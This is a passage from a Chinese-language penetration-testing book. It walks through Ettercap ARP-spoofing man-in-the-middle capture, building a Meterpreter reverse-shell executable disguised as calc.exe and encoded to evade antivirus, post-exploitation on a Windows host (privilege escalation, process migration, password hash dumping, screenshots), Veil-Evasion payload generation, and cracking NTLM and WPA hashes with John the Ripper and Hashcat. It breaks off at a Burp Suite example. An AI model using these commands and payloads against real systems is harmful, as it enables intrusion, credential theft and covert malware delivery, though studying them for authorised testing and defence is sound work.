  1. 要启动 Ettercap 进入嗅探模式,我们应当执行 Ettercap 二进制文件,指定要使用的网络接口(在我们的例子中是 -i eth0-iface eth0),以及以下其中一个选项来确定用户界面的类型:

    • -T (--text):此选项使用纯文本 GUI

    • -C (--curses):此选项使用 curses GUI

    • -D (--daemon):此选项将 Ettercap 守护进程化(无 GUI)

    • -G (--gtk):此选项使用带 GUI 的 GTK

      **ettercap --text --iface eth0**
      
      

    以下命令启动 Ettercap 进入嗅探模式:

    你应该看到类似以下的输出:

    练习

  2. 正如你所见,Ettercap 的输出也像 Nmap 的输出一样具有很高的信息量。当你想要停止 Ettercap 时,只需按下 q 键,它会报告是否正确终止:

    **Terminating ettercap...**
    **Lua cleanup complete!**
    **Unified sniffing was stopped.**
    
    
  3. Ettercap 以执行 ARP 欺骗攻击而获得了其流行度。假设我们想要使用 Ettercap 拦截工作站与另一工作站上的 web 接口之间的流量(中间人攻击)。以下是使用 Ettercap 执行 ARP 欺骗 MitM 攻击的示例:

    **ettercap -text --iface eth0 --write traffic.pcap --mitm arp:remote /172.16.0.91/ /172.16.0.102/**
    
    

    Here:

    • --text:这是文本模式用户界面

    • --iface eth0:这是使用的网络接口

    • --write traffic.pcap:这是以 PCAP 文件格式存储的网络流量转储(或者你可以使用 -L log.txt 以 Ettercap 格式记录)

    • --mitm arp:remote:这是 MitM 攻击及其类型

    • /172.16.0.91/ /172.16.0.102/:攻击的目标

    我们可以看到拦截的 HTTP 流量以及登录和密码:

    练习

注意

如果你想要了解更多关于 Ettercap 的信息(我们相信你可能会,因为它是一个很棒的工具),我们建议你像往常一样阅读官方文档,并额外关注“etterfilters”功能,它显著扩展了 Ettercap 的功能和能力。你可以使用 man 命令获取 Ettercap 和它的 etterfilters 的描述:

**man ettercap**
**man etterfilter**

Metasploit Framework

Metasploit 是一个出色的渗透测试工具,包含数百个模块和利用程序,允许用户快速编写和集成自己的模块和扩展。

通过编写的主要是 Ruby 的代码,Metasploit 是跨平台的,即它不针对任何特定的操作系统。

Metasploit 可以从官方网站 www.metasploit.com 和 GitHub 仓库 github.com/rapid7/metasploit-framework 下载。

你可以下载各种版本的 Metasploit:

  • Metasploit Framework:这仅适用于 Metasploit Framework 命令行工具的用户

  • Metasploit Community:这是面向学生和小型企业的功能有限的社区版

  • Metasploit Pro:这是面向渗透测试人员和安全专业人员的商业版

在我们的情况下,我们将仅考虑 Framework 版本,因为它功能完备且免费。功能模块分为五类:

  • 辅助:这个类别包含用于支持利用过程的工具。它包含发现模块、信息收集模块、扫描器、服务器等。

  • 利用:这个类别包含用于利用漏洞的模块。利用类别分为几个平台子类别,如 Windows、Linux、Solaris、OS X 等。

  • 有效载荷:这个类别包含各种类型的有效载荷,可以与利用一起使用。

  • 编码器:这个类别包含用于编码利用和有效载荷以绕过目标系统安全机制的工具。

  • 后期:这个类别包含后期利用工具,当与目标主机建立网络连接时可以使用,比如权限提升、远程主机信息收集等。

Metasploit 有几个主要的用户界面:

  • Shell(msfconsole)。

  • Web 界面(在社区版和专业版中可用)。

  • 第三方 GUI(Armitage 和更高级的 Cobalt Strike)。

但框架的基本功能是通过以下可执行文件实现的:

  • msfrpc: 用于远程服务器实现(基于远程过程调用)。

  • msfconsole: 这是通过控制台命令行与 Metasploit 进行交互的主要实用程序。

  • msfd: 这个实用程序允许生成 msfconsole 的一个实例,并允许远程用户连接并使用它。

  • msfupdate: 这是一个更新实用程序。

  • msfvenom: 该实用程序用于创建有效载荷。

标准用户界面是一个交互式控制台命令行,可以通过执行msfconsole命令来运行。在这个界面中,用户可以感受到 Metasploit 的强大。

使用 Metasploit 框架的工作包括以下关键步骤:

  1. 信息收集和漏洞条件识别(辅助模块)。

  2. 选择和配置用于远程目标对象的利用。

  3. 选择和配置将要使用的有效载荷。

  4. 选择和配置将用于绕过安全机制(如入侵检测系统)的编码。

  5. 利用远程系统。

  6. 保持访问。

  7. 后期利用操作(后期模块)。

Metasploit 易于使用。它的创建目的是协助和简化渗透测试专家的工作。

以下是最受欢迎的命令:

  • use: 用于选择一个模块。

  • search: 该命令用于搜索模块。

  • show options: 用于查看模块配置的设置。选择一个利用后,您可以看到可用于自定义的选项。

  • show payloads: Metasploit 包含许多有效载荷。这个命令显示所有可用的有效载荷。通过使用这个命令,您还可以查看特定操作系统或利用的推荐有效载荷。

  • info: 用于查看有关模块的信息。

  • set:此命令设置参数,例如 RHOST(远程),LHOST(本地)或用于利用的有效载荷。

  • exploit:这用于模块执行。

注意

Metasploit 框架确实是展示某人漏洞的一种非常方便的方式,但不幸的是,不可能在一个简短的评论主题中描述 Metasploit 的所有功能,这超出了我们书籍的范围。如果您决定在自己的工作中使用 Metasploit,我们强烈建议您阅读以下书籍:

Meterpreter

Meterpreter (github.com/rapid7/meterpreter) 是 Metasploit 的一部分,也是 Metasploit 中最受欢迎的有效载荷之一。在 Metasploit 的上下文中,Meterpreter 是一种灵活,可扩展,功能齐全且统一的后渗透基础,作为传统 shellcode 的替代方案。它具有许多功能:shell,迁移进程,加密以绕过入侵检测系统,防病毒软件,DLL 注入,枢轴,以及自动化可能性。

顺便说一句,我们还可以使用metsvc作为有效载荷,它将在远程系统上将 Meterpreter 安装为远程 Windows 主机操作系统的服务(类似于后门)。

在成功利用远程主机上的漏洞并在 Metasploit 的交互式控制台中加载有效载荷(在我们的情况下是 Meterpreter)后,我们获得了 Meterpreter 的功能齐全的控制台命令行,可以执行命令。 Meterpreter 的所有命令可以分为不同的类别(通过执行help命令可以获取此信息):

  • 核心命令:这些是用于 Meterpreter 会话管理的基本命令

  • Stdapi—文件系统命令:这些命令用于在远程文件系统上移动,文件操作命令,下载和上传文件命令等。

  • Stdapi—网络命令:这些命令用于显示有关网络组件的信息,查看和修改路由表,并管理将本地端口转发到远程的操作。

  • Stdapi—系统命令:这些命令对于操作远程系统和该系统的进程非常有用。

我们现在不描述 Meterpreter 的所有命令,因为这将需要许多页面的文字。最好通过一个实际的示例来展示它是如何工作的。

示例

作为 Metasploit 使用的示例,我们考虑一种情况,其中 Meterpreter 被打包成一个可执行文件,并在一个不谨慎用户的 Windows 工作站上执行。结果,Meterpreter 与预定义的 IP 地址(攻击者的机器)建立连接,允许攻击者在受害者的工作站上执行命令:

  1. 首先,让我们创建我们的有效负载。为此,我们应执行以下命令:

    **msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.191 lport=8888 -a x86 --platform win -e x86/shikata_ga_nai -i 3 -x calc.exe -f exe-only > payload_fake_calc_enc.exe**
    
    

    在这里:

    • -p windows/meterpreter/reverse_tcp:此选项指定我们将使用的有效负载(要查看支持的完整有效负载列表,只需执行命令msfvenom –l payloads

    • lhost=10.0.0.191:此选项指定攻击者主机的地址以供回连

    • lport=8888:此选项指定回连的端口号

    • -a x86:此选项指定目标系统的架构

    • --platform win:此选项指定目标系统的平台

    • -e x86/shikata_ga_nai:此选项指定要应用于有效负载的编码算法,以尽量避免被防病毒软件检测到

    • -i 3:此选项指定所需的编码迭代次数

    • -x calc.exe:此选项指定作为模板使用的自定义可执行文件

    • -f exe-only:此选项指定输出格式

    • payload_fake_calc_enc.exe:这是我们生成的恶意可执行文件的输出文件名

  2. 此命令的输出应如下所示:

    **Found 1 compatible encoders**
    **Attempting to encode payload with 3 iterations of x86/shikata_ga_nai**
    **x86/shikata_ga_nai succeeded with size 360 (iteration=0)**
    **x86/shikata_ga_nai succeeded with size 387 (iteration=1)**
    **x86/shikata_ga_nai succeeded with size 414 (iteration=2)**
    **x86/shikata_ga_nai chosen with final size 414**
    **Payload size: 414 bytes**
    
    
  3. 现在我们有了 payload_fake_calc_enc.exe 文件,接下来需要将该文件传输到受害者主机。你可以直接复制到那里,并假设受害者/用户是从互联网下载的该文件。

  4. 现在,我们需要在攻击者的机器上开始监听传入的连接。为此,通过在控制台中执行命令msfconsole来启动 Metasploit Framework。几秒钟后,Metasploit 将加载并启动,邀请我们进入命令提示符。

  5. 要开始监听,让我们选择所需的模块:

    **msf > use exploit/multi/handler** 
    
    

    设置要等待连接的有效负载类型:

    **msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcpand** 
    
    

    我们应该看到以下确认:

    **PAYLOAD => windows/meterpreter/reverse_tcp**
    
    
  6. 然后,我们需要设置一些此特定有效负载所需的选项(监听的本地地址和端口):

    **msf exploit(handler) > set LHOST 10.0.0.191**
    **msf exploit(handler) > set LPORT 8888**
    
    

    Metasploit 将确认两个选项是否已设置:

    **LHOST => 10.0.0.191**
    **LPORT => 8888**
    
    
  7. 要开始监听,我们需要执行 exploit 命令:

    **msf exploit(handler) > exploit -j**
    
    

    如果一切顺利,我们应该看到以下输出:

    **[*] Exploit running as background job.**
    **[*] Started reverse handler on 10.0.0.191:8888** 
    **[*] Starting the payload handler...**
    
    
  8. 所以,一切已设置好,准备进行攻击。让我们在受害者主机上执行我们生成的恶意文件 payload_fake_calc_enc.exe。在 Metasploit 控制台中,我们将看到如下内容:

    **[*] Meterpreter session 1 opened (10.0.0.191:8888 -> 10.0.0.163:49166) at 2015-12-18 00:14:46 +0300**
    
    
  9. 要开始与 Meterpreter 会话交互,我们需要执行以下命令:

    **msf exploit(handler) > sessions -i 3**
    
    
  10. 之后,我们将进入 Meterpreter 会话的交互式控制台。现在,我们可以在会话内执行命令,这些命令将在远程受害主机上执行。例如,我们需要执行getuid命令查看启动我们会话的用户环境,并且要获取当前进程的标识符,我们可以使用getpid命令:

    **meterpreter > getuid**
    **meterpreter > getpid**
    
    

    这些命令产生以下输出:

    **Server username: WS1\John**
    
    **Current pid: 2648**
    
    
  11. 为了提升权限,我们可以使用getsystem命令:

    **meterpreter > getsystem**
    
    

    此命令产生以下输出:

    **...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).**
    
    

    然后使用getuid命令检查结果:

    **meterpreter > getuid**
    
    

    现在我们拥有系统权限,可以从命令输出中看到这一点:

    **Server username: NT AUTHORITY\SYSTEM**
    
    
  12. 要列出远程系统上所有正在运行的进程,我们可以使用ps命令:

    **meterpreter > ps**
    
    

    输出列出了所有运行中的进程及其标识符和其他有用的信息:

    **Process List**
    **============**
    **PID   PPID  Name                 Arch  Session  User                          Path**
    **0     0     [System Process]** 
    **4     0     System               x64   0** 
     **12   4     smss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\smss.exe**
    **384   376   csrss.exe            x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe**
    **400   816   audiodg.exe          x64   0** 
    **432   376   wininit.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wininit.exe**
    **440   424   csrss.exe            x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe**
    **468   424   winlogon.exe         x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe**
    
    **…**
    
    **2648  2204  payload1.exe         x86   1        WS1\John                      C:\Share\payload1.exe**
    **2920  1008  WMIADAP.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wbem\WMIADAP.exe**
    
    
  13. 我们还可以迁移到另一个进程,以避免丢失恶意进程的连接。我们可以使用migrate命令,并指定目标进程标识符来完成:

    **meterpreter > migrate 716**
    
    

    输出如下:

    **[*] Migrating from 2648 to 716...**
    **[*] Migration completed successfully.**
    
    
  14. Meterpreter 还可以通过hashdump命令获取被黑机器上本地用户密码的哈希值(要成功执行此命令,我们需要先获得系统权限):

    **meterpreter > hashdump**
    
    

    输出如下:

    **Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::**
    **Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::**
    **HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:04e8fedb35bde404593d20c030663d94:::**
    **John:1001:aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaacca2db52:::**
    
    
  15. Meterpreter 拥有多种功能,我们甚至可以通过screenshot命令截取受害者桌面会话的屏幕截图:

    **meterpreter > screenshot** 
    
    

    执行成功后,它会报告截图保存的路径:

    **Screenshot saved to: /root/elzpOBoE.jpeg**
    
    
  16. 当完成与受害者的会话时,要终止会话,请执行exit命令:

    **meterpreter > exit**
    
    

    输出如下:

    **[*] Shutting down Meterpreter...**
    **[*] 10.0.0.163 - Meterpreter session 1 closed.  Reason: User exit**
    
    

Armitage

必须提到的是 Metasploit 框架的图形界面,称为Armitage。它是 Metasploit 框架的图形界面,简化了与它的交互。Armitage 以视觉模式展示主机目标,并且在每种情况下都会提供漏洞利用的提示和建议。对于高级用户,Armitage 提供了远程管理和与 Metasploit 会话的协作功能。

虽然 Armitage 是一个主要由鼠标操作的图形用户界面,但你不能完全不使用控制台进行工作。因此,你还是得学习如何使用控制台命令。

从官方网站下载安装包www.fastandeasyhacking.com/

安装完成后,通过运行 Armitage 可执行文件启动 Armitage:

**java -jar armitage.jar**

之后,你将看到 Armitage 的界面:

Armitage

该程序的界面足够简单易懂,如果你了解 Metasploit 框架的工作原理,就不会有任何困难。

Veil-Evasion 框架

任何防御系统都可以被欺骗,反病毒软件也不例外。这只是绕过防御所需的时间问题。在这种情况下,自动化创建加密有效载荷的工具非常有用。用于此目的的最流行工具是 Veil-Evasion 框架。它作为 Metasploit 的附加组件,具有广泛的功能,并且易于使用。它唯一的缺点是它是“开箱即用”的,并且仅在 Kali Linux 操作系统环境中受支持。

最明显的特点如下:

  • 框架的模块化

  • 所有为 Windows 生成的msfvenom有效载荷都可以集成到框架中

  • 菜单界面根据可用性原则进行了设计

  • 自动完成和自动替换

  • 几乎所有选项都有很好的文档记录(./Veil.py -h

在您的工作站成功安装框架后,您可以通过简单的命令执行它:

**python Veil-Evasion.py**

之后,您将被欢迎进入 Veil-Evasion 框架的主菜单:

**Veil-Evasion | [Version]: 2.21.4**
**===============================================================**
 **[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework**
**===============================================================**
 **Main Menu**
 **46 payloads loaded**

**Available Commands:**

 **use            Use a specific payload**
 **info           Information on a specific payload**
 **list             List available payloads**
 **update      Update Veil-Evasion to the latest version**
 **clean         Clean out payload folders**
 **checkvt     Check payload hashes vs. VirusTotal**
 **exit            Exit Veil-Evasion**

 **[menu>>]:**

要创建加密有效载荷,您应执行以下操作:

  1. 输入use命令。

  2. 从出现的列表中选择要生成的有效载荷索引。

  3. 接下来,您应使用set命令设置所需的选项。设置所有选项后,输入generate命令。

  4. 接下来,您需要选择要使用的 shellcode:

    • msfvenom(默认)

    • 自定义 shellcode 字符串

    • 具有 shellcode 的文件(原始)

  5. 如果选择msfvenom,它将询问您要使用哪种有效载荷(例如,Meterpreter)以及生成 shellcode 时的选项。

  6. 最后,框架将询问您要生成的输出文件的名称。

最后,Veil-Evasion 框架显示了生成的有效载荷的摘要信息:

**Veil-Evasion | [Version]: 2.21.4**
**=============================================================== [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework**
**===============================================================**

 **[*] Executable written to: /usr/share/veil-output/compiled/payload1.exe**

 **Language:    python**
 **Payload:     python/shellcode_inject/aes_encrypt**
 **Shellcode:   windows/meterpreter/reverse_tcp**
 **Options:     LHOST=10.0.0.169  LPORT=8080**
 **Required Options:      COMPILE_TO_EXE=Y  EXPIRE_PAYLOAD=X**
 **INJECT_METHOD=Virtual  USE_PYHERION=N**
 **Payload File:    /usr/share/veil-output/source/payload1.py**
 **Handler File:    /usr/share/veil-output/handlers/payload1_handler.rc**

 **[*] Your payload files have been generated, don't get caught!**
 **[!] And don't submit samples to any online scanner! ;)**

 **[>] Press any key to return to the main menu.**

这结束了我们对 Veil-Evasion 框架的回顾。最后,我们建议您尝试将其付诸实践。

破解工具

如今,哈希是大多数 IT 服务的基本安全机制。总体而言,哈希将任意长度的数据以不可逆的方式转换为固定长度的输出位字符串(这也是为什么它被称为单向转换)。哈希经常用于认证目的(存储和比较用户密码的哈希值,而不是以明文存储密码,这是不安全的),用于完整性控制(校验和)。

如今,我们无法想象不使用加密的技术。因此,恢复哈希数据的问题是当今 IT 安全世界中最重要的问题之一。在本节中,我们将看一些在执行此安全分析时可能有用的流行工具。

John The Ripper

John The RipperJTR)是一个免费的程序,旨在从哈希中恢复密码。该程序的主要目的是审计 Unix 系统上的弱密码。该程序还可以审计 NTLM 哈希(Microsoft Windows)、Kerberos 等。JTR 有多种实现,适用于不同的操作系统。JTR 之所以流行,是因为它支持多种哈希类型。随着附加更新,还可以使用几种额外的哈希类型。

最新版本的 JTR 可在官方网站www.openwall.com/john下载。

在 Debian 或 Ubuntu Linux 中可以通过标准方法进行安装:

**apt-get install john**

要从哈希中恢复密码,只需运行 JTR 并将包含哈希的文件路径作为输入参数。JTR 会自动检测哈希类型并启动必要的程序。

JTR 有几种模式可以获得更高效的结果:

  • 单一模式:此模式非常快速,但仅在我们拥有用户名的情况下使用。用户名作为密码与预设规则一起存储在 JTR 的配置文件中。在此模式下,我们执行命令john -single hashes.txt

  • 字典模式:在此模式下,JTR 使用字典和规则。我们可以使用配置文件中的规则(john -w=dictionary.txt -rules hashes.txt)以及特定文件中的规则(john -w:dictionary.txt -rules=Rules.txt hashes.txt)。

  • 增量模式:这是一种暴力破解攻击,而不是简单的计数(即 1, 2, 3 ...),而是基于规则的。规则定义在*.chr文件中。要以增量模式运行,请使用命令john -i:Alpha hashes.txt,其中Alpha是类型。

  • 内建模式:这是一个内建集合的暴力破解模式。例如,john -i=uld8 -builtin = ld hashes.txt,其中-i = uld8表示它将使用字符集uld并生成 8 个字符长的单词,-builtin = ld表示生成的单词来自字母和数字的混合集。

  • 外部模式:在此模式下,单词将根据配置文件中相应部分的规则生成。例如,john -e=Paralel01 hashes.txt

  • 掩码模式:这是一种基于掩码的攻击。例如,john -mask=\u\l\l\d\d\d hashes.txt意味着生成的词语将类似于Abc123

根据您的需求,您可以选择适合您的模式。

JTR 的一个重要特性是它支持工作会话,因此可以在 JTR 停止后恢复工作并运行多个 JTR 实例。

为此,请使用-session=<SESSION NAME>关键字启动 JTR:

**john -session=session01 i:Alpha passfile**

使用以下命令恢复它:

**john -restore=session01**

示例

之前在使用 Metasploit 框架时,我们已获得本地用户密码的哈希。现在让我们尝试使用 JTR 对哈希进行攻击以恢复密码。

为此,首先将用户 John 的哈希字符串放入单独的文件中:

**echo "John:1001:aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaacca2db52:::" > hashdump.txt**

在该文件上执行 JTR:

**john --format=NT hashdump.txt**
**Using default input encoding: UTF-8**
**Rules/masks using ISO-8859-1**
**Loaded 1 password hash (NT [MD4 32/32])**
**Warning: no OpenMP support for this hash type, consider --fork=4**
**Press 'q' or Ctrl-C to abort, almost any other key for status**
**12345678         (John)**
**1g 0:00:00:00 DONE 2/3 (2015-12-18 02:21) 2.083g/s 1797p/s 1797c/s 1797C/s 12345678**
**Use the "--show" option to display all of the cracked passwords reliably**
**Session completed**

在输出的第六行中,我们可以看到我们的密码12345678。因此,在我们的案例中,密码较弱,JTR 很快就恢复了它。

Hashcat

Hashcat 是一个多功能工具,用于从哈希值恢复密码。Hashcat 因其支持大量的哈希算法、较快的工作速度以及便捷的配置和使用方式而广受欢迎。

Hashcat 的优点:

  • 多线程

  • 开源

  • 跨平台(Linux、Windows 和 OS X)

  • 超过 90 种哈希算法(MD5、SHA1、NTLM、MySQL、WPA 等)

  • 可扩展的攻击模式

  • 兼容 JTR

  • 广泛的设置选项

但最重要的特点是它能够在图形处理器上工作,相较于 CPU 的运算速度,提供了显著的加速。

你可以从 Hashcat 的官方网站(hashcat.net)获取 Hashcat。在大多数流行的 Linux 发行版中,它可以在其软件仓库中找到。例如,在 Debian 中,你可以使用以下命令:

**apt-get install hashcat**

Hashcat 包含多个带有不同前缀和后缀的可执行文件:hashcatoclHashcatoclHashcat-plusoclHashcat-litecudaHashcat。每个可执行文件执行特定的任务,因此你应根据需求选择合适的文件。

  • ./hashcat:这是使用 CPU 的主程序。它较慢,但支持最多的哈希算法。

  • 前缀ocloclHashcat):它使用 ATI 的 GPU。它支持有限数量的哈希算法,并内置支持字典攻击、掩码攻击和暴力破解攻击。

  • 前缀cudacudaHashcat):它类似于前缀ocl,但使用 NVIDIA 的 GPU。

  • 后缀plusoclHashcat-plus):它支持所有使用 GPU 的 Hashcat 中最多的哈希算法。它针对许多哈希的字典攻击进行了优化。

  • 后缀liteoclHashcat-lite):它针对单一哈希攻击进行了优化,是 Hashcat 中运行速度最快的可执行文件,但支持的哈希算法最少。

应注意,对于cudaocl版本的 Hashcat,我们需要安装支持 GPU 计算的适当专有驱动程序。

Hashcat 的执行语法如下:

hashcat [options] hashfile [mask|wordfiles|directories]

这里:

  • options:这些是攻击模式、哈希类型、规则等参数

  • hashfile:这是本地文件系统中包含目标哈希的文件

  • mask|wordfiles|directories:这是密码的来源

你可以通过执行help命令获取 Hashcat 的完整参数列表:

**hashcat --help**

例如,进行速度基准测试时,我们可以使用-b键:

**oclHashcat -b**

示例

让我们重复恢复用户 John 的密码的过程,就像我们在使用 JTR 时做的那样,但这次使用 Hashcat。与 JTR 相似,首先我们需要将哈希放入一个单独的文件,但 Hashcat 的要求稍有不同。从获得的哈希字符串John:1001:aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaacca2db52:::中,我们只需要获取 NTLM 哈希的 NT 部分。它是由冒号字符分隔的第四个字段哈希字符串,即259745cb123a52aa2e693aaacca2db52

**echo "259745cb123a52aa2e693aaacca2db52" > hashdump.hc**

然后在这个文件上执行 Hashcat:

**hashcat -m 1000 hashdump.hc passwords.list**

这里:

  • -m 1000:这表示这是一个 NTLM 哈希

  • hashdump.hc:这是包含哈希的文件

  • passwords.list:这是包含密码的字典文件,用于迭代;在我们的案例中(为了测试目的),它包含了我们哈希的正确密码

执行命令的输出如下:

**Initializing hashcat v0.50 with 4 threads and 32mb segment-size...**

**Added hashes from file hashdump.hc: 1 (1 salts)**
**Activating quick-digest mode for single-hash**

**259745cb123a52aa2e693aaacca2db52:12345678** 

**All hashes have been recovered**

**Input.Mode: Dict (passwords.list)**
**Index.....: 1/1 (segment), 8 (words), 56 (bytes)**
**Recovered.: 1/1 hashes, 1/1 salts**
**Speed/sec.: - plains, - words**
**Progress..: 8/8 (100.00%)**
**Running...: 00:00:00:01**
**Estimated.: --:--:--:--**

**Started: Fri Dec 18 02:28:54 2015**
**Stopped: Fri Dec 18 02:28:55 2015**

输出信息足够详尽,我们可以看到恢复的密码。

现在,让我们尝试破解我们在使用aircrack-ng时获得的 WPA 握手。我们有 WPA 握手保存在guest_dump-01.cap文件中。在我们开始使用 Hashcat 之前,我们需要将握手格式化为 Hashcat 可以接受的形式。

为此目的,首先我们需要清理*.cap文件:

**wpaclean clear.cap guest_dump-01.cap.cap**

输出如下:

**Pwning cap.cap (1/1 100%)**
**Net 68:B6:FC:15:27:18 Guest**
**Done**

这里

  • clear.cap:这是新 CAP 文件的名称

  • guest_dump-01.cap:这是包含我们握手信息的文件

然后,我们需要将 CAP 文件转换为 Hashcat 格式的 CAP 文件(.hccap)。为此,请使用aircrack-ng命令并带上-J键:

**aircrack-ng clear.cap -J output_file**

输出如下:

**Opening clear.cap**
**Read 3 packets.**

 **#  BSSID              ESSID                     Encryption**

 **1  68:B6:FC:15:27:18  Guest                     WPA (1 handshake)**

**Choosing first network as target.**

**Opening clear.cap**
**Reading packets, please wait...**

**Building Hashcat (1.00) file...**

**[*] ESSID (length: 9): Guest**
**[*] Key version: 2**
**[*] BSSID: 68:B6:FC:15:27:18**
**[*] STA: F8:A9:D0:65:50:B6**
**[*] anonce:**
 **8A E5 48 30 74 C8 16 E4 18 72 4E 67 33 A4 ED 30** 
 **89 56 53 AE 87 F8 9A C6 77 63 A0 4B 17 C7 8D 37** 
**[*] snonce:**
 **AF E5 3D 67 9D CD BE 7C 8F CD 2E E2 50 34 5B D8** 
 **2B CA B5 D3 40 A1 8F 88 8D 68 00 AB 2C 92 8B 0F** 
**[*] Key MIC:**
 **BC C9 54 49 2B FF 81 C8 77 13 A3 1E 5D 7E 13 E6**
**[*] eapol:**
 **01 03 00 77 99 01 0A 00 00 00 00 00 00 00 00 00** 
 **01 AF E5 3D 67 9D BC DA 7C 8F CD 2E E2 FA 34 5B** 
 **D8 2B CA B5 D3 40 A1 8F 77 8D 68 00 AB 2C 92 8B** 
 **0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00** 
 **00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00** 
 **00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00** 
 **00 00 18 30 16 01 00 00 0F AC 02 01 00 00 0F AC** 
 **04 01 00 00 0F BC 02 4C 00 00 00** 

**Successfully written to output.hccap**
**Quitting aircrack-ng...**

结果,我们得到output_file.hccap文件。请注意,使用的J是大写的。

现在,我们可以执行 Hashcat 命令如下:

**cudaHashcat --force -m 2500 ./output_file.hccap ./wordlist.txt**

这里:

  • --force:此选项忽略警告

  • -m 2500:哈希类型是 WPA/WPA2

  • --session=session05:这是会话名称(用于可能的继续)

输出如下:

**cudaHashcat v1.37 starting...**

**Device #1: GeForce GT 730M, 2048MB, 758Mhz, 2MCU**
**Device #1: WARNING! Kernel exec timeout is not disabled, it might cause you errors of code 702**
 **You can disable it with a regpatch, see here: http://hashcat.net/wiki**
**/doku.php?id=timeout_patch**

**Hashes: 1 hashes; 1 unique digests, 1 unique salts**
**Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates**
**Rules: 1**
**Applicable Optimizers:**
*** Zero-Byte**
*** Single-Hash**
*** Single-Salt**
**Watchdog: Temperature abort trigger set to 90c**
**Watchdog: Temperature retain trigger set to 80c**
**Device #1: Kernel ./kernels/4318/m02500.sm_35.64.cubin**
**Device #1: Kernel ./kernels/4318/amp_a0_v1.sm_35.64.cubin**

**Generating dictionary stats for wordlist.txt: 96 bytes (100.00%), 8 words, 8 keyspace**

**Generated dictionary stats for wordlist.txt: 96 bytes, 8 words, 8 keyspace**
**INFO: approaching final keyspace, workload adjusted**
**Guest:20107a4da6c4:ac7ba167bdc5:Test!!!800**

**Session.Name...: cudaHashcat**
**Status.........: Cracked**
**Input.Mode.....: File (wordlist.txt)**
**Hash.Target....: Guest (68:B6:FC:15:27:18 <-> F8:A9:D0:65:50:B6)**
**Hash.Type......: WPA/WPA2**
**Time.Started...: 0 secs**
**Speed.GPU.#1...:        0 H/s**
**Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts**
**Progress.......: 8/8 (100.00%)**
**Rejected.......: 0/8 (0.00%)**
**HWMon.GPU.#1...:  0% Util, 39c Temp, N/A Fan**

**Started: Fri Dec 18 06:22:33 2015**
**Stopped: Fri Dec 18 06:22:35 2015**

在这种情况下,密码文本是Test!!!800。在输出的开始部分,你可以看到程序支持的 GPU。如果你有多个 GPU,即使它们没有合并,软件也会自动检测到它们。如果没有找到 GPU,你需要检查是否已安装专有驱动程序和附加库。

Web 应用程序攻击工具

不用多说,随着每一天的过去,Web 应用程序在现代互联网生活中的作用比以往任何时候都更加重要,而它们的安全性仍然是各种公司面临的最重要和最复杂的任务之一。

其中大部分是没有适当应用安全管理流程、并且通常没有考虑安全性和控制的定制专有应用程序。因此,可能当前最受需求的渗透测试服务是 Web 应用程序安全分析,我们将回顾 Web 黑客和渗透测试人员使用的最流行工具。

Burp Suite

Burp Suite 是一种称为拦截或攻击代理的工具,它允许用户检查和操作通过它的网络流量。

还有其他免费的和非免费的拦截(攻击)代理可供选择。然而,本书的作者习惯并坚持使用 Burp Suite,因此我们将详细描述这个框架。

注意

各种攻击代理的主要功能和能力是相同的(或者至少非常相似),因此你可以将以下的 Burp Suite 评测视为对整个工具类别的评测,而不仅仅是对某个特定软件的评测。

你可以使用谷歌搜索找到各种攻击代理的对比,选择最适合你需求的,并且是你个人工作中最舒适的工具。

其他值得尝试的拦截代理替代品可能是:

  • OWASP Zed attack proxy (ZAP)

  • OWASP WebScarab

  • Watobo

Burp Suite 是一个跨平台的 Java 框架,包含多种工具集成在一个图形界面中,能够在任何安装了适当 Java 软件的操作系统上运行。Burp Suite 的主要优势之一是通过特殊 API 和众多扩展的可扩展性。

官方网站(portswigger.net/burp/)提供了两个版本的 Burp Suite:免费版和专业版。

免费版包含与专业版相同的工具,但功能有限且自动化程度较低。那些工具包括:

  • Intercepting proxy:这允许你查看和修改网络流量。

  • Information aggregation tool:这以便捷的方式展示收集的关于目标的信息。

  • Spider:蜘蛛程序检查目标网络资源的所有链接和页面,以确定它们的结构,并将这些信息传递给聚合工具。

  • Repeater:这允许我们发送自定义请求并分析响应。

  • Intruder:这是攻击自动化和自定义工具。

  • Decoder:这是一个有助于编码和解码字符块的工具。

  • Sequencer:这个工具分析各种令牌的熵值。

  • Comparer:这可以方便地比较请求和响应。

  • Extender:这允许安装和管理众多 Burp 扩展。

在谈论免费版与专业版之间的最显著区别时,专业版还提供以下功能:

  • 使用扫描工具进行被动安全分析和主动网页漏洞扫描。

  • 保存和恢复框架状态,包括所有请求和响应(对于大项目尤其有用)。

  • 使用 Intruder 工具进行自动攻击时,使用各种内置的攻击负载。

  • 执行目标和捕获的网络流量的搜索和各种分析类型。

  • 利用 Intruder 工具中更好的性能。

  • 安装仅限于专业版的某些扩展。

示例

在介绍了 Burp Suite 后,我们希望向你展示一个示例,进行一个 Web 应用程序的测试。让我们在实验环境中使用 DVWA。我们假设你已经在攻击机器上下载并启动了免费版本。

注意

